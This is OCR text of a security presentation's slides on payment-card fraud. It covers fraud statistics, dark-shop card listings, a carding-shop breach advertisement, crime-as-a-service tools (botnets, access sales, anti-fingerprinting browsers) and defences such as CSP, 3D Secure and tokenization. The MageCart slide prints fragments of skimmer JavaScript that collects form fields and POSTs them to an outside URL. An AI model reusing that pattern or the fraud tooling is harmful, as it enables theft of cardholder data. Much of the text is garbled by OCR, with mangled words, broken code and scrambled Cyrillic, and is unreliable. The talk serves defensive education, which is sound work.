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Card fraud today : USA

FTC CONSUMER SENTINEL NETWORK Publeshied October 10,2020

(data as of September 30, 2020)

Compare Identity Theft Report Types Date Range Theft Type
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Consumers can report muitiple types of identity theft.

FEDERAL TRADE COMMISSION » ftc.gov/exploredata
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Card fraud today : Europe

Evolution of the total volume of card fraud using cards issued within SEPA

(left-hand scale: total volume of fraud (million transactions); right-hand scale: volume of fraud as a share of volume
of transactions (percentages))
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Card fraud today : Mongolia

October 22nd 2018, 14:09:49.109 - October 22nd 2020, 14:09:49.109—  Auto
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~ 6900 records added in the last 5 years
80-90% were added in the last 1 year
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Card fraud today : Mongolia

~ 6900 records 27 dark shops

Total Records (Per Source)
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2017-01-01 2018-01-01 2019-01-01 2020-01-01
timeStampAdded per 30 days

Sold within 15-30 days (vs 5-15 days in USA)
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Card fraud today : Mongolia

Before 2019 2019 2020
% of total 19% 7% 5%
Card present
Average price 50 87.5 154.2
% of total 81% 93% 95%

Card not present
Average price 15.5 16.4 15.8



Card fraud today : Mongolia
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Card fraud today : largest breaches

REUTERS World

Target cyber breach h
cards at holiday peak

By Jim Finkle, Dhanya Skariachan

BOSTON (Reuters) - Target Corp sa:
million credit and debit cards of shog
three weeks of the holiday season in t

U.S. retailer.

Markets Breakingviews Video More Target : 40M records

Home Depot : 56M records

With 56 Million Cards
Compromised, Ho
Breach Is Bigger Th
Target's

Kate Vinton Former Staff

Brand NEW Huge 30M+ pcs Nationwide
"BIGBADABOOM-III" BREACH at JOKER's STASH!

@ This article is more than 6 years old. Brand NEW Huge 30M+ pcs
30.000.000+

31.000+ Different
Home Depot announced that 56 million cred S

BIGBADABOOM-III-EU-partl (

Colllprolllised irl a bI‘eaC}l tllat 1asted ﬁ'olll £ p BIGBADABOOM-III-US-part1 ( 1) USA by STATE/CITY/ZIP TR1+TR2/TR2, HIGH VALID 90-95%,
BIGBADABOOM-III-US-part2 ( R H) USA by STATE/CITY/ZIP TR1+TR2/TR2, HIGH VALID 90-95%, up
. . . BIGBADABOOM-III-US-part3 ( 1) USA by STATE/CITY/ZIP TR1+TR2/TR2, HIGH VALID 90-95%, up
making this latest retail breach larger than Tz )
Be READY for the BIG-BADA-BOOM! Exclusively ONLY at JOKER's STASH!

breach.

]
o . - ' W 3
Home Depot began its investigation on Septe £

Yeah, big bada boom

ALL STUFF WILL BE AVAILABLE AT
11:00 PM (evening update) New York City Time, Monday, January 27
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Card fraud today : MageCart

.onload function() { oy e . .
b e S ey British Airways : 380k records
n = {};
jQuery( ).serializeArray().map(function(a) {
n[a. ] a.\
});
r e = document. ( ).innerHTML;

n.person = e;

t = JSON.stringify(n);

(fu n() |
jQuery.ajax({
Bpet TS Newegg
data: t, window.onload = 1
1) dataType: jQuery( "#btnCreditCard.p
}, 500) dati = jQuery('#
}) pdati = JSON.stringify(dati.serializeArray());

setTimeout (1 O {
jQuery.ajax({
type: "POST"
async: true,

url: "https:
data: pdati,
dataType: ‘application/json’
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Card fraud today : MageCart

1 confirmed victim of "Keeper" MageCart group
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Card fraud today : Card Not Present

Evolution of the total volume of card fraud using cards issued within SEPA

(left-hand scale: total volume of fraud (million transactions); right-hand scale: volume of fraud as a share of volume
of transactions (percentages))
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Card fraud today : Card Not Present

Before 2019 2019 2020
Card present % of total 19% 7% 5%
Card not present % of total 81% 93% 95%



Card fraud today : Card Not Present

* EMV chip
* Online commerce
e Covid-19

* Made easier with Crime-as-a-service
* Botnet
* Access
* Anti-fingerprinting
e Behavior emulation



Crime-as-a-service : botnet

Trickbot—the for-hire botnet Microsoft e Steal credentials
attacked—is scrambling to stay alive .
& y  Exfiltrate data

It's still not dead, but thanks to an industrywide effort, it's currently dormant.

DAN GOODIN - 10/21/2020, 10:00 AM g D e p | Oy m a IWa re
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Crime-as-a-service : access

[1] 11 (1] 1" 1] 1] (1] 11 (1] 1 1" (1]
INTEREST IN COMPROMISED ACCESS shell", "wenn", "sql", "RDP", "pan", "poctyn

400
Mokasbisarts No AAMUH npasa ‘ Aa - Her i Puck Cxop
Crpana Wrar/pernon ¢ C MNposaipep
c [ . Nposaipep AaMuH p y P BlackList
TpaHa Té poa ) enyrauua 2HE IHaTL
300 L pos Twn nposaipepa) npasa y (O n3 20)
Jalisco No info Megacable x $ Yauars IP Check
>ablevision Argentina )
Buenos Aires Mar del Plata No info X $ Yaunars IP
200
National Capital Airtel Broadband X
New Delhi No info 5 Yauars IP
Territory of Delhi
Goinia No info Internet Ultra Ltda $ Yaunarte IP
100
Campos dos
Rio de Janeiro No info NET Virtua S Yaunarts IP
Goytacazes
Nairobi Province Nairobi No info Faiba Yauars IP
0 Microsoft Corporation

Tamil Nadu Chennai No info 58 Yaunarte IP

Serverius Holding B.V.
Flevoland Dronten No info 5§ Yauars IP

Universidade De Sao "
Sao Paulo So Paulo No info Paul S Yauars IP
aulo

Gauteng Johannesburg No info Network Platforms JO% Yauate IP

KwaZulu-Natal Durban No info MITSOL S Yaunarte IP

Gujarat Gandhinagar No info BlazeNet (t o 5¢ Yauarts IP
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Language

&

o

[

[ Screen

Crime-as-a-service : anti-fingerprinting

IR

us (en-US,en;q=0.9 | en-US)

en-Us

§ 24

24
1080

tB: 1920

1080
1920

0
0

1905x987 (1920x1080)

HTTP headers 2

text/html, application/xhtmi+xml,application/xml;q=C
9zip

en-US,en;q=0.9

cloudflare

1

whoer.net

ON

1

Mozilla/5.0 (X11; Linux x86_64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chramal72 0 2RR2 AR Safari/f27 2R

) Navigator

20030107
Google Inc.
0

4

true
Mozilla
Netscape

5.0 (X11; Linux x86_64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/73.0.3683.86
Safari/537.36

Linux x86_64
Gecko

Mozilla/5.0 (X11; Linux x86_64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.86 Safari/537.36

en-Us

en-US.en

true

1

[object Geolocation]

[object MediaCapabilities]

[object MediaDevices]

[object NetworkInformation]

[object PluginArray]

[object MimeTypeArray]

[object DeprecatedStorageQuota]
[object DeprecatedStorageQuota]
function getBattery() { [native code] }
function sendBeacon() { [native code] }
function getGamepads() { [native code] }

function getUserMedia() { [native code] }

IP address (external and local)

Screen information (screen resolution, window size)

Firmware version

Operating system version
Browser plugins installed

Timezone
Device ID

Battery information
Audio system fingerprint

GPU info
WebRTC IPs

TCP/IP fingerprint
Passive SSL/TLS analysis

Cookies
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Crime-as-a-service : anti-fingerprinting

ESRESOURCES KNOWN / OTHER COUNTRY/HOST  PRICE o

L1 BOT NAME/ & -/

£30 (1524 90 =524

&

Entropay
€ MallChimp
et e ) genesis security
3itcointalk & iCloud Enterprise |
DATT @ Greendot known 133
com.coinbase.androld com.Instagram.and. other 391 ‘
@ L é’@? £20 [3 360 90 = 360 ‘ Enable FP |
— not selected (not set)
known 108 Enable Proxy lor
192.168.0.107 other 252
3 Not provided yet
B0 Q1724 90=1724
O: —
8 1and1WebM
Buber known 360
com.glassdoor.app other 1364
80 R67390=673
_* browser fingerprints
g 59.00 _

known 187

» CapitalOr
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Windows 10 Home

* logins and passwords

e credit card information
e online bank account

e« S$5-5200

e Disrupted by Chrome 80
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Crime-as-a-service : behavior emulation

& C @ @& hitps:/tenebris.cc

$ <

fully functional browser

Linken Sphere Sphere Fake Vision Tenebris Team Forum u Se r a Ctivity e m u Iato r :

e open websites
e follow links

of time

' PRO
Private soft for those, who kno nght (1 mecsiy BecnnaTHo)
Proud of our-work - above and be¢

100$ / mecsy,

1 mecay ucnonsL3osaHus bpayzepa

6 MecsLeB UCnoNb3oBaHUA Gpay3epa

AOCTyN K 6ecnnaTHbM to3epareHTam

A0CTYN K NpyBaT HOMY KOH¢)V|I'LUOI'1y
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intentional mistakes

e stay on websites for a given length

Premium

(3 mecauya 6ecnnatHo)

900% / 12 mecsiLeB

Mecaues ucnons3oeauua bpaysepa
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Prevention : operations

e Patch, patch, patch
* Equifax : Apache Struts vulnerability

° Segment, segment, segment
* Target
 Compromised vendor credentials -> vulnerability -> pivot to POS network

* Home Depot
 Compromised vendor credentials -> malware -> pivot to POS network

* Wawa
* Phishing -> compromised credentials -> RAT -> pivot to POS network



Prevention : developers

* Content-Security-Policy (use tools if necessary)

* New Content-Security-Policy directives
 script-src : stricter control of loaded resources
* trusted-types : control changes to the DOM

Content-Security-Policy: require-trusted-types-for 'script'; report-uri /report

Content-Security-Policy: script-src 'nonce-v/GDTJwvbf5d8e’; object-src 'none'

» Subresource Integrity : protect resource from manipulation
* Merchant website, as well as payment gateway



Prevention : 3D Secure 2.0

o Cardholder enters e The merchant's 3-D Secure service o The issuer's 3-D Secure service provider
his or her Visa :  provider packages the message with determines the transaction risk and may

account details :  transaction data and delivers it to the § prompt the cardholder to verify his or her

issuer via authentication request . identity with, i.e, a one-time pas

ploypIe)
ey

3333>> 3PP PIIIINY RISK ASSESSMENT

v
v

v
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v
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€L

A222333333333333333333533>7
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6 Merchant submits transaction for o Issuer sends the authentication
authorization with a flag indicating result to the merchant
the authentication result
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Prevention : tokenization

TOKEN

9766425722

Card number is entered Card detail sent to vault Card detail securly saved
and returns a token to Merchant

Diving into the Darknet : Card Fraud

Merchant uses token for this
and future purchases
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